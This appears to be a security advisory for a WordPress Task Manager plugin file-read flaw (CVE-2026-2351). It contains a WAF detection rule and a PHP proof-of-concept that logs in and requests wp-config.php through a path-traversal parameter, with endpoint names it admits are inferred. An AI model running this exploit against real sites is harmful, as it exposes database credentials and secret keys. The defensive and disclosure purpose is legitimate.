Atomic Edge analysis of CVE-2026-2351 (metadata-based):
This vulnerability is an authenticated arbitrary file read flaw in the Task Manager WordPress plugin. The issue resides in the `callback_get_text_from_url()` function. Attackers with Subscriber-level access or higher can exploit this to read sensitive files from the server. The CVSS score of 6.5 (Medium) reflects the high confidentiality impact and low attack complexity.
Atomic Edge research infers the root cause is CWE-73, External Control of File Name or Path. The vulnerable function likely accepts user-supplied input, such as a URL or file path parameter, without proper validation. This input is then used directly in a filesystem operation like `file_get_contents()`. The description confirms the function name but not the exact parameter. The conclusion that user input controls the file target is inferred from the CWE classification.
Exploitation likely occurs via a WordPress AJAX handler. The plugin slug ‘task-manager’ suggests the AJAX action could be named like ‘task_manager_get_text_from_url’ or ‘callback_get_text_from_url’. An authenticated attacker sends a POST request to `/wp-admin/admin-ajax.php`. The request includes the `action` parameter matching the vulnerable hook and a parameter like `url` or `file` containing a local file path (e.g., `../../../../wp-config.php`). The server responds with the file’s contents.
Remediation requires implementing strict input validation and path sanitization. The patched function should validate that the supplied parameter is a legitimate, external URL if that is the intended functionality. It must reject any file scheme (`file://`) or local path sequences (`../`). A whitelist of allowed URL domains or a check ensuring the parameter is a valid HTTP/HTTPS URL would mitigate the flaw. Capability checks should also be reviewed, though the vulnerability already requires authentication.
Successful exploitation leads to full disclosure of sensitive server files. Attackers can read the WordPress configuration file (`wp-config.php`) containing database credentials, secret keys, and salts. They can also read `/etc/passwd`, application source code, or environment files. This data exposure can facilitate further attacks, such as database compromise or privilege escalation, but does not directly allow file write or remote code execution.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-2351 (metadata-based)
# This rule blocks exploitation via the inferred AJAX endpoint.
# It matches the exact AJAX URI and the likely vulnerable action parameter.
# The rule also detects common local file path traversal sequences in the 'url' parameter.
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:20262351,phase:2,deny,status:403,chain,msg:'CVE-2026-2351 via Task Manager plugin AJAX - Arbitrary File Read',severity:'CRITICAL',tag:'CVE-2026-2351',tag:'WordPress',tag:'TaskManager',tag:'WAF'"
SecRule ARGS_POST:action "@streq callback_get_text_from_url" "chain"
SecRule ARGS_POST:url "@rx ^(file://|\/\/|\\|(..?\/)+)"
"t:none,t:urlDecodeUni,t:lowercase"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-2351 - Task Manager <= 3.0.2 - Authenticated (Subscriber+) Arbitrary File Read
<?php
/**
* Proof of Concept for CVE-2026-2351.
* Assumptions:
* 1. The vulnerable AJAX hook is derived from the function name 'callback_get_text_from_url'.
* 2. The plugin uses the standard WordPress AJAX handler.
* 3. The vulnerable parameter is named 'url' and accepts local file paths.
* 4. The attacker has valid Subscriber-level credentials.
*/
$target_url = 'https://example.com/wordpress';
$username = 'subscriber';
$password = 'password';
$file_to_read = '../../../../wp-config.php'; // Target sensitive file
// Initialize cURL session for cookie handling
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
// Step 1: Authenticate to WordPress (simulate wp-login.php POST)
$login_url = $target_url . '/wp-login.php';
$login_fields = [
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
];
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_fields));
$response = curl_exec($ch);
// Check for login success (crude check for dashboard redirect or message)
if (strpos($response, 'Dashboard') === false && strpos($response, 'wp-admin') === false) {
die('Authentication failed. Check credentials.');
}
// Step 2: Exploit the vulnerable AJAX endpoint
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$exploit_payload = [
'action' => 'callback_get_text_from_url', // Inferred AJAX action
'url' => $file_to_read // User-controlled file path
];
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POSTFIELDS, $exploit_payload);
$exploit_response = curl_exec($ch);
// Output the server's response (file contents)
echo "Exploit Response:n";
echo htmlspecialchars($exploit_response);
curl_close($ch);
?>
